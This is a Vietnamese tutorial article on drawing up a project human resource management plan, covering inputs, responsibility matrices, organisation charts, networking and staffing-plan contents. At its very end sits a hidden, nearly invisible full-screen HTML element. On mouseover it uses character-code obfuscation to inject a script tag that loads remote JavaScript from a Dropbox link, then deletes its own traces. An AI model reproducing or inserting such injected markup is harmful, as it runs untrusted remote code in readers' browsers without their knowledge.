Quản lý nguồn nhân lực dự án (Human Resource Management Plan)

Lập kế hoạch quản lý nguồn nhân lực dự án (Plan Human Resource Management )

• Kế hoạch quản lý nguồn nhân lực dự án là quá trình xác định và tài liệu hóa các vai trò (project roles), trách nhiệm (responsibilities), kỹ năng cần thiết, mối quan hệ giữa các roles và tạo kế hoạch quản lý nhân viên trong một dự án. Lợi ích chính yếu của quá trình này là nó thiết lập được vai trò, trách nhiệm trong dự án cho mỗi cá nhân, sơ đồ tổ chức dự án, và kế hoạch quản lý nhân sự bao gồm việc khi nào thì cần người đổ vào dự án khi nào thì rút người ra. Các input đầu vào, kỹ thuật áp dụng và đầu ra của quá trình này các bạn có thể tham khảo hình bên dưới.

• Việc lập kế hoạch quản lý nguồn nhân lực được sử dụng để xác định và nhận biết nguồn nhân lực cùng các kỹ năng cần thiết cho sự thành công của dự án. Ngoài những điểm đã đề cập ở trên như vai trò, trách nhiệm, thời gian load người vào dự án, thời gian release người khỏi dự án thì nó còn chỉ ra nhu cầu đào tạo, chiến lược xây dựng team, kế hoạch công nhận và khen thưởng nhân viên trong dự án, xem xét việc tuân thủ, vấn đề an toàn, và tác động của kế hoạch quản lý nhân sự đối với công ty, tổ chức.
• Một bản kế hoạch quản lý nguồn nhân lực hiệu quả cần cân nhắc và plan cho sự sẵn có (availability) và sự cạnh tranh cho nguồn nhân lực hạn chế. Vai trò của dự án có thể assign cho cá nhân hoặc cho một Team. Các Team hoặc các team members có thể là nhân viên trong hoặc ngoài công ty. Thường trong một tổ chức chắc chắn sẽ có nhiều dự án khác chạy song song cùng project của bạn và việc cạnh tranh nguồn nhân lực, cạnh tranh về skill set của member. Với những yếu tố đó có thể ảnh hưởng tới chi phí, schedule, rủi ro và chất lượng của dự án. Đó là lý do tại sao một bản kế hoạch quản lý nhân lực hiệu quả cần phải cân nhắc và plan kỹ lưỡng cho tình huống đó.

Đầu vào (Inputs) của kế hoạch quản lý nguồn nhân lực

Như hình bên trên, inputs của việc lập kế hoạch quản lý nguồn nhân lực bao gồm 4 tài liệu

• Project managemnet plan / Kế hoạch quản lý dự án
• Activity resource plan / Yêu cầu resource để hoàn thành activity trong project
• Enterprise environmental factors / Các yếu tố môi trường doanh nghiệp
• Organizational process assets / Quy trình tài sản của tổ chức

1. Kế hoạch quản lý dự án

• Kế hoạch quản lý dự án được sử dụng làm đầu vào để phát triển kế hoạch quản lý nguồn nhân lực. Những thông tin thường được sử dụng cho việc lập kế hoạch nhân lực bao gồm những yếu tố dưới đây, nhưng không hạn chế
  • Vòng đời của dự án (project life circle) và quy trình sẽ được áp dụng cho từng giai đoạn (phase) của dự án.
  • Công việc sẽ được làm như thế nào để hoàn thành mục tiêu của dự án
  • Kế hoạch quản trị thay đổi (Change management plan) thể hiện tài liệu thay đổi sẽ được quản lý, kiểm soát như thế nào.
  • Kế hoạch quản lý cấu hình (Configuration management plan) thể hiện việc quản lý cấu hình tài liệu làm như thế nào.
  • Nhu cầu và phương thức communication giữa các stakeholders
  • Đường cơ sở của dự án (Project baselines) được đảm bảo như thế nào.

2. Yêu cầu resource

• Việc hoạch định nguồn nhân lực sử dụng yêu cầu resource để hoàn thành activity để xác định số nhân lực cần cho dự án. Những yêu cầu sơ bộ về các thành viên trong project team và các kỹ năng, năng lực của họ được xem xét tỉ mỉ là một phần quan trọng trong việc lập kế hoạch quản trị nguồn nhân lực.

3. Các yếu tố môi trường doanh nghiệp

• Các yếu tố môi trường doanh nghiệp có thể ảnh hưởng tới kế hoạch quản trị nguồn nhân lực bao gồm
  • Văn hóa và cấu trúc doanh nghiệp
  • Nguồn nhân lực hiện có
  • Việc phân tán về mặt địa lý của các thành viên trong nhóm
  • Chính sách quản lý nhân sự
  • Điều kiện thị trường

4. Quy trình tài sản của tổ chức

• Cũng như các yếu tố môi trường Quy trình, tài sản của tổ chức cũng là nhân tố ảnh hưởng tới kế hoạch quản trị nguồn nhân lực.
  • Quy trình tiêu chuẩn, chính sách và mô tả vai trò của tổ chức
  • Các template cho sơ đồ tổ chức và mô tả vị trí
  • Bài học kinh nghiệm (Lession learn) từ các project trước
  • Các thủ tục để xử lý vấn đề trong dự án và trong team

Công cụ và kỹ thuật (Tool & Techniques) trong lập kế hoạch

1. Sơ đồ tổ chức và Mô tả vị trí

• Có rất nhiều dạng format để tài liệu hóa vai trò và trách nhiệm của team members. Hầu hết các định dạng rơi vào một trong ba loại sau: phân cấp (hierarchical), ma trận (matrix) và hướng văn bản (text-oriented).

• Sơ đồ phân cấp: Đây là sơ đồ cấu trúc tổ chức truyền thống có thể được sử dụng để thể hiện vị trí và mối quan hệ trong dự án qua hình vẽ theo format từ trên xuống dưới. Trong khi WBS thể hiện những deliverables của dự án thì Cấu trúc phân cấp của tổ chức-OBS (Organizational Breakdown Structure) được sắp xếp theo phòng ban, đơn vi, team của tổ chức với các activity của project. Các stakeholders nhìn vào sơ đồ đó có thể hiểu được trách nhiệm của phòng ban trong dự án, mối quan hệ và cách thức communication giữa các bộ phận.
• Sơ đồ ma trận: Sơ đồ ma trận phân công trách nhiệm (RAM - Responsibility assignment matrix) là một mạng lưới thể hiện nguồn lực của dự án được được assigned cho mỗi gói công việc. Nó được sử dụng để minh họa cho sự kết nối giữa các gói công việc hoặc các activity với mỗi thành viên trong dự án. Trong các dự án lớn thì RAM được phát triển theo nhiều level khác nhau. Ví dụ ở level cao thì gán trách nhiệm cho group nào, team nào phụ trách component hay package nào. Ở level thấp hơn thì RAM được sử dụng trong nhóm để định nghĩa vai trò, trách nhiệm và quyền hạn cho các activity cụ thể.

• Format hướng văn bản: Trách nhiệm của team được yêu cầu mô tả chi tiết trong tài liệu theo format định sẵn. Thông thường ở các dạng phác thảo nhằm cung cấp các thông tin cơ bản như trách nhiệm, quyền hạn, năng lực, trình độ.

2. Networking

• Networking là sự tương tác chính thức và không chính thức với những người khác trong một tổ chức, lĩnh vực hoặc môi trường chuyên biệt. Đó là cách để hiểu các yếu tố chính trị và cá nhân ảnh hưởng thế nào đến hiệu quả của các phương thức quản lý nhân sự khác nhau. Lợi ích của việc quản lý nguồn nhân lực có thể thấy từ sự thành công của Networking bằng cách nâng cao kiến thức và tiếp cận với các cơ hội nâng cao chuyên môn, và các cơ hội hợp tác bên ngoài. Nói lý thuyết phần này có thể bạn sẽ hơi khó hiểu, ví dụ nôm na của Networking là các cuộc gặp gỡ ăn trưa, ăn nhậu hay trò chuyện về các sự kiện, hội nghị chuyên đề ...

3. Lý thuyết của tổ chức

• Lý thuyết của tổ chức cung cấp thông tin liên quan đến cách thức mà mọi người, teams, và đơn vị của tổ chức hành xử với nhau, với vấn đề nào đó (có thể hiểu đại khái là những kiến thức chung mà người trong cùng một tổ chức đều hiểu với nhau). Nếu những vấn đề chung được xác định trong Lý thuyết của tổ chức có thể giúp rút ngắn thời gian, chi phí, và effort cần thiết để lập kế hoạch quản lý nguồn nhân lực.

4. Phán xét chuyên môn

• Khi xây dựng kế hoạch quản trị nguồn nhân lực thì phán xét chuyên môn được sử dụng để
  • Liệt kê yêu cầu sơ bộ cho các kỹ năng cần thiết
  • Đánh giá các role cần thiết cho dự án dựa trên mô tả role tiêu chuẩn trong tổ chức (ví dụ ở Framgia có mô tả Dev rank mấy phải có tiêu chuẩn gì, QA rank mấy ...)
  • Xác đinh sơ bộ số effort và số nhân sự để đạt được objectives của dự án
  • Cung cấp guideline về thời gian cần thiết để chuẩn bị nhân lực dựa trên bài học từ các dự án trước
  • Xác định rủi ro liên quan đến việc thu nhận, giữ và release nhân sự

5. Meetings

• Khi lập kế hoạch quản lý nguồn nhân lực của dự án, đội ngũ quản lý dự án sẽ tổ chức các cuộc họp để lên kế hoạch. Những cuộc họp này sử dụng kết hợp các công cụ và kỹ thuật khác nhau để tất cả các thành viên trong nhóm quản lý dự án đạt được sự đồng thuận về kế hoạch quản lý nguồn nhân lực.

Output của kế hoạch quản lý nguồn nhân lực

• Như trên hình process ở phần đầu thì output của quá trình này chính là Bản kế hoạch quản lý nguồn nhân lực (Human resource Management Plan ). Nó là một phần của kế hoạch quản lý dự án (Project Management Plan), cung cấp hướng dẫn về cách thức nguồn nhân lực của dự án cần được xác định, tuyển dụng, quản lý, và cuối cùng là release.
• Một bản kế hoạch quản lý nguồn nhân lực sẽ bao gồm các mục sau, có thể có hoặc không tùy tổ chức
  • Vai trò và trách nhiệm
    • Vai trò của từng cá nhân: PM, BA, Comtor, BrSE, Dev, Tester ..
    • Quyền hạn truy cập vào resource của dự án, quyền ra quyết định, approve ...
    • Trách nhiệm được giao, các activity phải hoàn thành
    • Năng lực: skills và khả năng cần thiết
  • Sơ đồ tổ chức dự án
  • Kê hoạch quản lý nhân viên
    • Tiếp nhận nhân viên, khi nào thì nhận người vào dự án .. một số role khác nhau thì thời điểm join vào dự án cũng khác nhau nên cần phải có plan cho việc này
    • Resource calendar: lên lịch làm việc cho các members trong dự án dựa vào avaiability của resource
    • Training plan: một số dự án đòi hỏi phải training về nghiệp vụ, tools hoặc process thì cần plan cho việc ai học cái gì và thời gian như thế nào.
    • Ghi nhận và khen thưởng
    • Lên chiến lược cho việc tuân thủ rules, hợp đồng, chính sách ..
    • Bảo đảm an toàn cho nhân viên (khi tiếp xúc với thiết bị có thể gây hại)
    • Kế hoạch release: nhân lực chính là tiền vì vậy release lúc nào để đảm bảo tiến độ và tiết kiệm chi phí cần phải cân nhắc kỹ.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">